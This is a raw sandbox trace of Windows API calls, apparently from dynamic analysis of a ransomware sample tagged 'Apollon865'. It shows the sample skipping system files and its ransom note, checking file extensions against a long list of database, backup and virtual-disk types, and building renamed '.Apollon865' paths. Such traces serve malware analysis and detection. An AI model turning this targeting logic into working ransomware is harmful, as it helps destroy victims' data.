	[0067.652] CloseHandle (hObject=0xd8) returned 1
	[0067.652] CloseHandle (hObject=0x150) returned 1
	[0067.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.661] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f52e170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.661] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.662] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="Apollon865.txt.exe") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="..") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="windows") returned -1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="bootmgr") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="temp") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="pagefile.sys") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="boot") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ids.txt") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="ntuser.dat") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="perflogs") returned 1
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2="MSBuild") returned 1
	[0067.662] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0067.662] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126
	[0067.662] lstrcpyW (in: lpString1=0x119e6f4, lpString2="vc_runtimeAdditional_x64.msi" | out: lpString1="vc_runtimeAdditional_x64.msi") returned="vc_runtimeAdditional_x64.msi"
	[0067.662] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0067.662] lstrlenW (lpString="Apollon865") returned 10
	[0067.662] lstrcmpiW (lpString1="al_x64.msi", lpString2="Apollon865") returned -1
	[0067.662] lstrlenW (lpString=".dll") returned 4
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".dll") returned 1
	[0067.662] lstrlenW (lpString=".lnk") returned 4
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".lnk") returned 1
	[0067.662] lstrlenW (lpString=".ini") returned 4
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".ini") returned 1
	[0067.662] lstrlenW (lpString=".sys") returned 4
	[0067.662] lstrcmpiW (lpString1="vc_runtimeAdditional_x64.msi", lpString2=".sys") returned 1
	[0067.662] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28
	[0067.662] lstrlenW (lpString="bak") returned 3
	[0067.662] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0067.662] lstrlenW (lpString="ba_") returned 3
	[0067.662] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0067.662] lstrlenW (lpString="dbb") returned 3
	[0067.662] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0067.663] lstrlenW (lpString="vmdk") returned 4
	[0067.663] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0067.663] lstrlenW (lpString="rar") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0067.663] lstrlenW (lpString="zip") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0067.663] lstrlenW (lpString="tgz") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0067.663] lstrlenW (lpString="vbox") returned 4
	[0067.663] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0067.663] lstrlenW (lpString="vdi") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0067.663] lstrlenW (lpString="vhd") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0067.663] lstrlenW (lpString="vhdx") returned 4
	[0067.663] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0067.663] lstrlenW (lpString="avhd") returned 4
	[0067.663] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0067.663] lstrlenW (lpString="db") returned 2
	[0067.663] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0067.663] lstrlenW (lpString="db2") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0067.663] lstrlenW (lpString="db3") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0067.663] lstrlenW (lpString="dbf") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0067.663] lstrlenW (lpString="mdf") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0067.663] lstrlenW (lpString="mdb") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0067.663] lstrlenW (lpString="sql") returned 3
	[0067.663] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0067.663] lstrlenW (lpString="sqlite") returned 6
	[0067.663] lstrcmpiW (lpString1="64.msi", lpString2="sqlite") returned -1
	[0067.663] lstrlenW (lpString="sqlite3") returned 7
	[0067.663] lstrcmpiW (lpString1="x64.msi", lpString2="sqlite3") returned 1
	[0067.663] lstrlenW (lpString="sqlitedb") returned 8
	[0067.664] lstrcmpiW (lpString1="_x64.msi", lpString2="sqlitedb") returned -1
	[0067.664] lstrlenW (lpString="xml") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0067.664] lstrlenW (lpString="$er") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0067.664] lstrlenW (lpString="4dd") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0067.664] lstrlenW (lpString="4dl") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0067.664] lstrlenW (lpString="^^^") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0067.664] lstrlenW (lpString="abs") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0067.664] lstrlenW (lpString="abx") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0067.664] lstrlenW (lpString="accdb") returned 5
	[0067.664] lstrcmpiW (lpString1="4.msi", lpString2="accdb") returned -1
	[0067.664] lstrlenW (lpString="accdc") returned 5
	[0067.664] lstrcmpiW (lpString1="4.msi", lpString2="accdc") returned -1
	[0067.664] lstrlenW (lpString="accde") returned 5
	[0067.664] lstrcmpiW (lpString1="4.msi", lpString2="accde") returned -1
	[0067.664] lstrlenW (lpString="accdr") returned 5
	[0067.664] lstrcmpiW (lpString1="4.msi", lpString2="accdr") returned -1
	[0067.664] lstrlenW (lpString="accdt") returned 5
	[0067.664] lstrcmpiW (lpString1="4.msi", lpString2="accdt") returned -1
	[0067.664] lstrlenW (lpString="accdw") returned 5
	[0067.664] lstrcmpiW (lpString1="4.msi", lpString2="accdw") returned -1
	[0067.664] lstrlenW (lpString="accft") returned 5
	[0067.664] lstrcmpiW (lpString1="4.msi", lpString2="accft") returned -1
	[0067.664] lstrlenW (lpString="adb") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0067.664] lstrlenW (lpString="adb") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0067.664] lstrlenW (lpString="ade") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0067.664] lstrlenW (lpString="adf") returned 3
	[0067.664] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0067.665] lstrlenW (lpString="adn") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0067.665] lstrlenW (lpString="adp") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0067.665] lstrlenW (lpString="alf") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0067.665] lstrlenW (lpString="ask") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0067.665] lstrlenW (lpString="btr") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0067.665] lstrlenW (lpString="cat") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0067.665] lstrlenW (lpString="cdb") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0067.665] lstrlenW (lpString="ckp") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0067.665] lstrlenW (lpString="cma") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0067.665] lstrlenW (lpString="cpd") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0067.665] lstrlenW (lpString="dacpac") returned 6
	[0067.665] lstrcmpiW (lpString1="64.msi", lpString2="dacpac") returned -1
	[0067.665] lstrlenW (lpString="dad") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0067.665] lstrlenW (lpString="dadiagrams") returned 10
	[0067.665] lstrcmpiW (lpString1="al_x64.msi", lpString2="dadiagrams") returned -1
	[0067.665] lstrlenW (lpString="daschema") returned 8
	[0067.665] lstrcmpiW (lpString1="_x64.msi", lpString2="daschema") returned -1
	[0067.665] lstrlenW (lpString="db-journal") returned 10
	[0067.665] lstrcmpiW (lpString1="al_x64.msi", lpString2="db-journal") returned -1
	[0067.665] lstrlenW (lpString="db-shm") returned 6
	[0067.665] lstrcmpiW (lpString1="64.msi", lpString2="db-shm") returned -1
	[0067.665] lstrlenW (lpString="db-wal") returned 6
	[0067.665] lstrcmpiW (lpString1="64.msi", lpString2="db-wal") returned -1
	[0067.665] lstrlenW (lpString="dbc") returned 3
	[0067.665] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0067.666] lstrlenW (lpString="dbs") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0067.666] lstrlenW (lpString="dbt") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0067.666] lstrlenW (lpString="dbv") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0067.666] lstrlenW (lpString="dbx") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0067.666] lstrlenW (lpString="dcb") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0067.666] lstrlenW (lpString="dct") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0067.666] lstrlenW (lpString="dcx") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0067.666] lstrlenW (lpString="ddl") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0067.666] lstrlenW (lpString="dlis") returned 4
	[0067.666] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0067.666] lstrlenW (lpString="dp1") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0067.666] lstrlenW (lpString="dqy") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0067.666] lstrlenW (lpString="dsk") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0067.666] lstrlenW (lpString="dsn") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0067.666] lstrlenW (lpString="dtsx") returned 4
	[0067.666] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0067.666] lstrlenW (lpString="dxl") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0067.666] lstrlenW (lpString="eco") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0067.666] lstrlenW (lpString="ecx") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0067.666] lstrlenW (lpString="edb") returned 3
	[0067.666] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0067.667] lstrlenW (lpString="epim") returned 4
	[0067.667] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0067.667] lstrlenW (lpString="fcd") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0067.667] lstrlenW (lpString="fdb") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0067.667] lstrlenW (lpString="fic") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0067.667] lstrlenW (lpString="flexolibrary") returned 12
	[0067.667] lstrcmpiW (lpString1="onal_x64.msi", lpString2="flexolibrary") returned 1
	[0067.667] lstrlenW (lpString="fm5") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0067.667] lstrlenW (lpString="fmp") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0067.667] lstrlenW (lpString="fmp12") returned 5
	[0067.667] lstrcmpiW (lpString1="4.msi", lpString2="fmp12") returned -1
	[0067.667] lstrlenW (lpString="fmpsl") returned 5
	[0067.667] lstrcmpiW (lpString1="4.msi", lpString2="fmpsl") returned -1
	[0067.667] lstrlenW (lpString="fol") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0067.667] lstrlenW (lpString="fp3") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0067.667] lstrlenW (lpString="fp4") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0067.667] lstrlenW (lpString="fp5") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0067.667] lstrlenW (lpString="fp7") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0067.667] lstrlenW (lpString="fpt") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0067.667] lstrlenW (lpString="frm") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0067.667] lstrlenW (lpString="gdb") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0067.667] lstrlenW (lpString="gdb") returned 3
	[0067.667] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0067.667] lstrlenW (lpString="grdb") returned 4
	[0067.667] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0067.668] lstrlenW (lpString="gwi") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0067.668] lstrlenW (lpString="hdb") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0067.668] lstrlenW (lpString="his") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0067.668] lstrlenW (lpString="ib") returned 2
	[0067.668] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0067.668] lstrlenW (lpString="idb") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0067.668] lstrlenW (lpString="ihx") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0067.668] lstrlenW (lpString="itdb") returned 4
	[0067.668] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0067.668] lstrlenW (lpString="itw") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0067.668] lstrlenW (lpString="jet") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0067.668] lstrlenW (lpString="jtx") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0067.668] lstrlenW (lpString="kdb") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0067.668] lstrlenW (lpString="kexi") returned 4
	[0067.668] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0067.668] lstrlenW (lpString="kexic") returned 5
	[0067.668] lstrcmpiW (lpString1="4.msi", lpString2="kexic") returned -1
	[0067.668] lstrlenW (lpString="kexis") returned 5
	[0067.668] lstrcmpiW (lpString1="4.msi", lpString2="kexis") returned -1
	[0067.668] lstrlenW (lpString="lgc") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0067.668] lstrlenW (lpString="lwx") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0067.668] lstrlenW (lpString="maf") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0067.668] lstrlenW (lpString="maq") returned 3
	[0067.668] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0067.668] lstrlenW (lpString="mar") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0067.669] lstrlenW (lpString="marshal") returned 7
	[0067.669] lstrcmpiW (lpString1="x64.msi", lpString2="marshal") returned 1
	[0067.669] lstrlenW (lpString="mas") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0067.669] lstrlenW (lpString="mav") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0067.669] lstrlenW (lpString="maw") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0067.669] lstrlenW (lpString="mdbhtml") returned 7
	[0067.669] lstrcmpiW (lpString1="x64.msi", lpString2="mdbhtml") returned 1
	[0067.669] lstrlenW (lpString="mdn") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0067.669] lstrlenW (lpString="mdt") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0067.669] lstrlenW (lpString="mfd") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0067.669] lstrlenW (lpString="mpd") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0067.669] lstrlenW (lpString="mrg") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0067.669] lstrlenW (lpString="mud") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0067.669] lstrlenW (lpString="mwb") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0067.669] lstrlenW (lpString="myd") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0067.669] lstrlenW (lpString="ndf") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0067.669] lstrlenW (lpString="nnt") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0067.669] lstrlenW (lpString="nrmlib") returned 6
	[0067.669] lstrcmpiW (lpString1="64.msi", lpString2="nrmlib") returned -1
	[0067.669] lstrlenW (lpString="ns2") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0067.669] lstrlenW (lpString="ns3") returned 3
	[0067.669] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0067.669] lstrlenW (lpString="ns4") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0067.670] lstrlenW (lpString="nsf") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0067.670] lstrlenW (lpString="nv") returned 2
	[0067.670] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0067.670] lstrlenW (lpString="nv2") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0067.670] lstrlenW (lpString="nwdb") returned 4
	[0067.670] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0067.670] lstrlenW (lpString="nyf") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0067.670] lstrlenW (lpString="odb") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0067.670] lstrlenW (lpString="odb") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0067.670] lstrlenW (lpString="oqy") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0067.670] lstrlenW (lpString="ora") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0067.670] lstrlenW (lpString="orx") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0067.670] lstrlenW (lpString="owc") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0067.670] lstrlenW (lpString="p96") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0067.670] lstrlenW (lpString="p97") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0067.670] lstrlenW (lpString="pan") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0067.670] lstrlenW (lpString="pdb") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0067.670] lstrlenW (lpString="pdm") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0067.670] lstrlenW (lpString="pnz") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0067.670] lstrlenW (lpString="qry") returned 3
	[0067.670] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0067.671] lstrlenW (lpString="qvd") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0067.671] lstrlenW (lpString="rbf") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0067.671] lstrlenW (lpString="rctd") returned 4
	[0067.671] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0067.671] lstrlenW (lpString="rod") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0067.671] lstrlenW (lpString="rodx") returned 4
	[0067.671] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0067.671] lstrlenW (lpString="rpd") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0067.671] lstrlenW (lpString="rsd") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0067.671] lstrlenW (lpString="sas7bdat") returned 8
	[0067.671] lstrcmpiW (lpString1="_x64.msi", lpString2="sas7bdat") returned -1
	[0067.671] lstrlenW (lpString="sbf") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0067.671] lstrlenW (lpString="scx") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0067.671] lstrlenW (lpString="sdb") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0067.671] lstrlenW (lpString="sdc") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0067.671] lstrlenW (lpString="sdf") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0067.671] lstrlenW (lpString="sis") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0067.671] lstrlenW (lpString="spq") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0067.671] lstrlenW (lpString="te") returned 2
	[0067.671] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0067.671] lstrlenW (lpString="teacher") returned 7
	[0067.671] lstrcmpiW (lpString1="x64.msi", lpString2="teacher") returned 1
	[0067.671] lstrlenW (lpString="tmd") returned 3
	[0067.671] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0067.671] lstrlenW (lpString="tps") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0067.672] lstrlenW (lpString="trc") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0067.672] lstrlenW (lpString="trc") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0067.672] lstrlenW (lpString="trm") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0067.672] lstrlenW (lpString="udb") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0067.672] lstrlenW (lpString="udl") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0067.672] lstrlenW (lpString="usr") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0067.672] lstrlenW (lpString="v12") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0067.672] lstrlenW (lpString="vis") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0067.672] lstrlenW (lpString="vpd") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0067.672] lstrlenW (lpString="vvv") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0067.672] lstrlenW (lpString="wdb") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0067.672] lstrlenW (lpString="wmdb") returned 4
	[0067.672] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0067.672] lstrlenW (lpString="wrk") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0067.672] lstrlenW (lpString="xdb") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0067.672] lstrlenW (lpString="xld") returned 3
	[0067.672] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0067.672] lstrlenW (lpString="xmlff") returned 5
	[0067.672] lstrcmpiW (lpString1="4.msi", lpString2="xmlff") returned -1
	[0067.672] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865") returned 157
